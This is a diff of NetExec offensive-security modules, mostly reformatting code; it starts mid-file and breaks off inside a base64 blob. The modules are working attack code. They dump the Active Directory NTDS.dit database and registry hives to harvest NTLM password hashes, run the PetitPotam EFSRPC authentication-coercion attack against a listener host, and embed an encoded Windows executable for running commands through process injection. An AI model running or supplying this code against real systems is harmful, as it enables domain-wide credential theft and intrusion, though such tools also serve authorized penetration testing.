fh.seek(6)
|
||||
fh.write(b"\x00\x00")
|
||||
fh.close()
|
||||
with open(filename, "r+b") as fh: # needs the "r+b", not "rb" like below
|
||||
fh.seek(0)
|
||||
fh.write(b"\x4d\x44\x4d\x50")
|
||||
fh.seek(4)
|
||||
fh.write(b"\xa7\x93")
|
||||
fh.seek(6)
|
||||
fh.write(b"\x00\x00")
|
||||
|
||||
with open(filename, "rb") as dump:
|
||||
try:
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Credit to https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
|
||||
# @exploitph @Evi1cg
|
||||
# module by @mpgn_x64
|
||||
@@ -49,5 +47,5 @@ class NXCModule:
|
||||
context.log.highlight("")
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/Ridter/noPac")
|
||||
except OSError as e:
|
||||
except OSError:
|
||||
context.log.debug(f"Error connecting to Kerberos (port 88) on {connection.host}")
|
||||
+37
-39
@@ -41,14 +41,14 @@ class NXCModule:
|
||||
self.no_delete = True
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location)
|
||||
context.log.display("Dumping ntds with ntdsutil.exe to %s%s" % (self.tmp_dir, self.dump_location))
|
||||
command = f"powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full {self.tmp_dir}{self.dump_location}' q q\""
|
||||
context.log.display(f"Dumping ntds with ntdsutil.exe to {self.tmp_dir}{self.dump_location}")
|
||||
context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
context.log.debug("Executing command {}".format(command))
|
||||
context.log.debug(f"Executing command {command}")
|
||||
p = connection.execute(command, True)
|
||||
context.log.debug(p)
|
||||
if "success" in p:
|
||||
context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location))
|
||||
context.log.success(f"NTDS.dit dumped to {self.tmp_dir}{self.dump_location}")
|
||||
else:
|
||||
context.log.fail("Error while dumping NTDS")
|
||||
return
|
||||
@@ -57,53 +57,56 @@ class NXCModule:
|
||||
os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True)
|
||||
os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True)
|
||||
|
||||
context.log.display("Copying NTDS dump to %s" % self.dir_result)
|
||||
context.log.display(f"Copying NTDS dump to {self.dir_result}")
|
||||
|
||||
context.log.debug("Copy ntds.dit to host")
|
||||
with open(os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(
|
||||
self.share,
|
||||
self.tmp_share + self.dump_location + "\\" + "Active Directory\\ntds.dit",
|
||||
f"{self.tmp_share}{self.dump_location}\\Active Directory\\ntds.dit",
|
||||
dump_file.write,
|
||||
)
|
||||
context.log.debug("Copied ntds.dit file")
|
||||
except Exception as e:
|
||||
context.log.fail("Error while get ntds.dit file: {}".format(e))
|
||||
context.log.fail(f"Error while get ntds.dit file: {e}")
|
||||
|
||||
context.log.debug("Copy SYSTEM to host")
|
||||
with open(os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(
|
||||
self.share,
|
||||
self.tmp_share + self.dump_location + "\\" + "registry\\SYSTEM",
|
||||
f"{self.tmp_share}{self.dump_location}\\registry\\SYSTEM",
|
||||
dump_file.write,
|
||||
)
|
||||
context.log.debug("Copied SYSTEM file")
|
||||
except Exception as e:
|
||||
context.log.fail("Error while get SYSTEM file: {}".format(e))
|
||||
context.log.fail(f"Error while get SYSTEM file: {e}")
|
||||
|
||||
context.log.debug("Copy SECURITY to host")
|
||||
with open(os.path.join(self.dir_result, "registry", "SECURITY"), "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(
|
||||
self.share,
|
||||
self.tmp_share + self.dump_location + "\\" + "registry\\SECURITY",
|
||||
f"{self.tmp_share}{self.dump_location}\\registry\\SECURITY",
|
||||
dump_file.write,
|
||||
)
|
||||
context.log.debug("Copied SECURITY file")
|
||||
except Exception as e:
|
||||
context.log.fail("Error while get SECURITY file: {}".format(e))
|
||||
context.log.display("NTDS dump copied to %s" % self.dir_result)
|
||||
try:
|
||||
command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location)
|
||||
p = connection.execute(command, True)
|
||||
context.log.success("Deleted %s%s remote dump directory" % (self.tmp_dir, self.dump_location))
|
||||
except Exception as e:
|
||||
context.log.fail("Error deleting {} remote directory on share {}: {}".format(self.dump_location, self.share, e))
|
||||
context.log.fail(f"Error while get SECURITY file: {e}")
|
||||
|
||||
localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result)
|
||||
bootKey = localOperations.getBootKey()
|
||||
noLMHash = localOperations.checkNoLMHashPolicy()
|
||||
context.log.display(f"NTDS dump copied to {self.dir_result}")
|
||||
|
||||
try:
|
||||
command = f"rmdir /s /q {self.tmp_dir}{self.dump_location}"
|
||||
p = connection.execute(command, True)
|
||||
context.log.success(f"Deleted {self.tmp_dir}{self.dump_location} remote dump directory")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting {self.dump_location} remote directory on share {self.share}: {e}")
|
||||
|
||||
local_operations = LocalOperations(f"{self.dir_result}/registry/SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
no_lm_hash = local_operations.checkNoLMHashPolicy()
|
||||
|
||||
host_id = context.db.get_hosts(filter_term=connection.host)[0][0]
|
||||
|
||||
@@ -118,20 +121,20 @@ class NXCModule:
|
||||
context.log.highlight(ntds_hash)
|
||||
if ntds_hash.find("$") == -1:
|
||||
if ntds_hash.find("\\") != -1:
|
||||
domain, hash = ntds_hash.split("\\")
|
||||
domain, clean_hash = ntds_hash.split("\\")
|
||||
else:
|
||||
domain = connection.domain
|
||||
hash = ntds_hash
|
||||
clean_hash = ntds_hash
|
||||
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = hash.split(":")
|
||||
parsed_hash = ":".join((lmhash, nthash))
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
context.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
||||
add_ntds_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except:
|
||||
except Exception:
|
||||
context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
context.log.debug("Dumped hash is a computer account, not adding to db")
|
||||
@@ -140,11 +143,11 @@ class NXCModule:
|
||||
add_ntds_hash.added_to_db = 0
|
||||
|
||||
NTDS = NTDSHashes(
|
||||
"%s/Active Directory/ntds.dit" % self.dir_result,
|
||||
bootKey,
|
||||
f"{self.dir_result}/Active Directory/ntds.dit",
|
||||
boot_key,
|
||||
isRemote=False,
|
||||
history=False,
|
||||
noLMHash=noLMHash,
|
||||
noLMHash=no_lm_hash,
|
||||
remoteOps=None,
|
||||
useVSSMethod=True,
|
||||
justNTLM=True,
|
||||
@@ -159,22 +162,17 @@ class NXCModule:
|
||||
try:
|
||||
context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
NTDS.dump()
|
||||
context.log.success(
|
||||
"Dumped {} NTDS hashes to {} of which {} were added to the database".format(
|
||||
highlight(add_ntds_hash.ntds_hashes),
|
||||
connection.output_filename + ".ntds",
|
||||
highlight(add_ntds_hash.added_to_db),
|
||||
)
|
||||
)
|
||||
context.log.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds of which {highlight(add_ntds_hash.added_to_db)} were added to the database")
|
||||
|
||||
context.log.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + ".ntds"))
|
||||
context.log.display(f"grep -iv disabled {connection.output_filename}.ntds | cut -d ':' -f1")
|
||||
except Exception as e:
|
||||
context.log.fail(e)
|
||||
|
||||
NTDS.finish()
|
||||
|
||||
if self.no_delete:
|
||||
context.log.display("Raw NTDS dump copied to %s, parse it with:" % self.dir_result)
|
||||
context.log.display('secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' % (self.dir_result, self.dir_result, self.dir_result))
|
||||
context.log.display(f"Raw NTDS dump copied to {self.dir_result}, parse it with:")
|
||||
context.log.display(f"secretsdump.py -system '{self.dir_result}/registry/SYSTEM' -security '{self.dir_result}/registry/SECURITY' -ntds '{self.dir_result}/Active Directory/ntds.dit' LOCAL")
|
||||
else:
|
||||
shutil.rmtree(self.dir_result)
|
||||
+10
-9
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
@@ -10,10 +7,11 @@ class NXCModule:
|
||||
"""
|
||||
Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication
|
||||
Module by @Tw1sm
|
||||
Modified by Deft (08/02/2024)
|
||||
"""
|
||||
|
||||
name = "ntlmv1"
|
||||
description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1"
|
||||
description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -35,19 +33,22 @@ class NXCModule:
|
||||
"SYSTEM\\CurrentControlSet\\Control\\Lsa",
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
rtype = None
|
||||
data = None
|
||||
rtype = data = None
|
||||
try:
|
||||
rtype, data = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
"lmcompatibilitylevel\x00",
|
||||
)
|
||||
except rrp.DCERPCSessionError as e:
|
||||
context.log.debug(f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
|
||||
|
||||
if rtype and data and int(data) in [0, 1, 2]:
|
||||
except rrp.DCERPCSessionError:
|
||||
context.log.debug("Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
|
||||
|
||||
# Changed by Defte
|
||||
# Unless this keys is set to 3 or higher, NTLMv1 can be used
|
||||
if data in [0, 1, 2]:
|
||||
context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
|
||||
|
||||
except DCERPCSessionError as e:
|
||||
context.log.debug(f"Error connecting to RemoteRegistry: {e}")
|
||||
finally:
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from datetime import datetime, timedelta
|
||||
from nxc.paths import NXC_PATH
|
||||
import socket
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Extract obsolete operating systems from LDAP
|
||||
Module by Brandon Fisher @shad0wcntr0ller
|
||||
"""
|
||||
name = "obsolete"
|
||||
description = "Extract all obsolete operating systems from LDAP"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def ldap_time_to_datetime(self, ldap_time):
|
||||
"""Convert an LDAP timestamp to a datetime object."""
|
||||
if ldap_time == "0": # Account for never-set passwords
|
||||
return "Never"
|
||||
try:
|
||||
epoch = datetime(1601, 1, 1) + timedelta(seconds=int(ldap_time) / 10000000)
|
||||
return epoch.strftime("%Y-%m-%d %H:%M:%S")
|
||||
except Exception:
|
||||
return "Conversion Error"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No module-specific options required."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_filter = ("(&(objectclass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))"
|
||||
"(|(operatingSystem=*Windows 6*)(operatingSystem=*Windows 2000*)"
|
||||
"(operatingSystem=*Windows XP*)(operatingSystem=*Windows Vista*)"
|
||||
"(operatingSystem=*Windows 7*)(operatingSystem=*Windows 8*)"
|
||||
"(operatingSystem=*Windows 8.1*)(operatingSystem=*Windows Server 2003*)"
|
||||
"(operatingSystem=*Windows Server 2008*)(operatingSystem=*Windows Server 2012*)))")
|
||||
attributes = ["name", "operatingSystem", "dNSHostName", "pwdLastSet"]
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
except Exception:
|
||||
context.log.error("LDAP search error:", exc_info=True)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
|
||||
for item in resp:
|
||||
if "attributes" not in item:
|
||||
continue
|
||||
dns_hostname, pwd_last_set = "", "0" # Default '0' for pwdLastSet
|
||||
for attribute in item["attributes"]:
|
||||
attr_type = str(attribute["type"])
|
||||
if attr_type == "operatingSystem":
|
||||
os = str(attribute["vals"][0])
|
||||
elif attr_type == "dNSHostName":
|
||||
dns_hostname = str(attribute["vals"][0])
|
||||
elif attr_type == "pwdLastSet":
|
||||
pwd_last_set = str(attribute["vals"][0])
|
||||
|
||||
if dns_hostname and os:
|
||||
pwd_last_set_readable = self.ldap_time_to_datetime(pwd_last_set)
|
||||
try:
|
||||
ip_address = socket.gethostbyname(dns_hostname)
|
||||
answers.append((dns_hostname, ip_address, os, pwd_last_set_readable))
|
||||
except socket.gaierror:
|
||||
answers.append((dns_hostname, "N/A", os, pwd_last_set_readable))
|
||||
|
||||
if answers:
|
||||
obsolete_hosts_count = len(answers)
|
||||
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
|
||||
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
|
||||
with open(filename, "w") as f:
|
||||
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
|
||||
log_message = f"{dns_hostname} ({ip_address}) : {os} [pwd-last-set: {pwd_last_set_readable}]"
|
||||
context.log.highlight(log_message)
|
||||
f.write(log_message + "\n")
|
||||
else:
|
||||
context.log.display("No Obsolete Hosts Identified")
|
||||
|
||||
return True
|
||||
+21
-29
@@ -1,5 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# From https://github.com/topotam/PetitPotam
|
||||
# All credit to @topotam
|
||||
# Module by @mpgn_x64
|
||||
@@ -46,11 +44,11 @@ class NXCModule:
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
target=connection.host if not connection.kerberos else connection.remoteName,
|
||||
pipe=self.pipe,
|
||||
do_kerberos=connection.kerberos,
|
||||
dc_host=connection.kdcHost,
|
||||
target_ip=connection.host,
|
||||
kdcHost=connection.kdcHost,
|
||||
remoteHost=connection.host,
|
||||
context=context,
|
||||
)
|
||||
if efs_rpc_open_file_raw(dce, self.listener, context):
|
||||
@@ -67,8 +65,8 @@ class NXCModule:
|
||||
host.signing,
|
||||
petitpotam=True,
|
||||
)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error updating petitpotam status in database")
|
||||
except Exception:
|
||||
context.log.debug("Error updating petitpotam status in database")
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
@@ -80,13 +78,9 @@ class DCERPCSessionError(DCERPCException):
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return "EFSR SessionError: code: 0x%x - %s - %s" % (
|
||||
self.error_code,
|
||||
error_msg_short,
|
||||
error_msg_verbose,
|
||||
)
|
||||
return f"EFSR SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return "EFSR SessionError: unknown error code: 0x%x" % self.error_code
|
||||
return f"EFSR SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
@@ -200,8 +194,8 @@ def coerce(
|
||||
target,
|
||||
pipe,
|
||||
do_kerberos,
|
||||
dc_host,
|
||||
target_ip=None,
|
||||
kdcHost,
|
||||
remoteHost,
|
||||
context=None,
|
||||
):
|
||||
binding_params = {
|
||||
@@ -227,6 +221,7 @@ def coerce(
|
||||
},
|
||||
}
|
||||
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
rpc_transport.setRemoteHost(remoteHost)
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
rpc_transport.set_credentials(
|
||||
username=username,
|
||||
@@ -237,29 +232,26 @@ def coerce(
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
if target_ip:
|
||||
rpc_transport.setRemoteHost(target_ip)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
if do_kerberos:
|
||||
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
|
||||
rpc_transport.set_kerberos(do_kerberos, kdcHost)
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
context.log.info("[-] Connecting to %s" % binding_params[pipe]["stringBinding"])
|
||||
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
context.log.debug("Something went wrong, check error status => %s" % str(e))
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
sys.exit()
|
||||
context.log.info("[+] Connected!")
|
||||
context.log.info("[+] Binding to %s" % binding_params[pipe]["MSRPC_UUID_EFSR"][0])
|
||||
context.log.info(f"[+] Binding to {binding_params[pipe]['MSRPC_UUID_EFSR'][0]}")
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
|
||||
except Exception as e:
|
||||
context.log.debug("Something went wrong, check error status => %s" % str(e))
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
sys.exit()
|
||||
context.log.info("[+] Successfully bound!")
|
||||
return dce
|
||||
@@ -268,9 +260,9 @@ def coerce(
|
||||
def efs_rpc_open_file_raw(dce, listener, context=None):
|
||||
try:
|
||||
request = EfsRpcOpenFileRaw()
|
||||
request["fileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
|
||||
request["fileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
||||
request["Flag"] = 0
|
||||
resp = dce.request(request)
|
||||
dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
||||
@@ -283,14 +275,14 @@ def efs_rpc_open_file_raw(dce, listener, context=None):
|
||||
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
|
||||
try:
|
||||
request = EfsRpcEncryptFileSrv()
|
||||
request["FileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
|
||||
resp = dce.request(request)
|
||||
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
||||
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
|
||||
context.log.info("[+] Attack worked!")
|
||||
return True
|
||||
else:
|
||||
context.log.debug("Something went wrong, check error status => %s" % str(e))
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
else:
|
||||
context.log.debug("Something went wrong, check error status => %s" % str(e))
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
+27
-26
@@ -1,31 +1,33 @@
|
||||
from base64 import b64decode
|
||||
from sys import exit
|
||||
from os import path
|
||||
from os.path import abspath, join, isfile
|
||||
|
||||
from nxc.paths import DATA_PATH, TMP_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
name = "pi"
|
||||
description = "Run command as logged on users via Process Injection"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
PID // Process ID for Target User, PID=pid
|
||||
EXEC // Command to exec, EXEC='command' Single quote is better to use
|
||||
|
||||
This module reads the executed command output under the name C:\windows\temp\output.txt and deletes it. In case of a possible error, it may need to be deleted manually.
|
||||
'''
|
||||
r"""
|
||||
PID // Process ID for Target User, PID=pid
|
||||
EXEC // Command to exec, EXEC='command' Single quote is better to use
|
||||
|
||||
This module reads the executed command output under the name C:\windows\temp\output.txt and deletes it. In case of a possible error, it may need to be deleted manually.
|
||||
"""
|
||||
self.tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.tmp_dir.split(":")[1]
|
||||
self.pi = "pi.exe"
|
||||
self.useembeded = True
|
||||
self.pid = self.cmd = ""
|
||||
self.pi_embedded = b64decode('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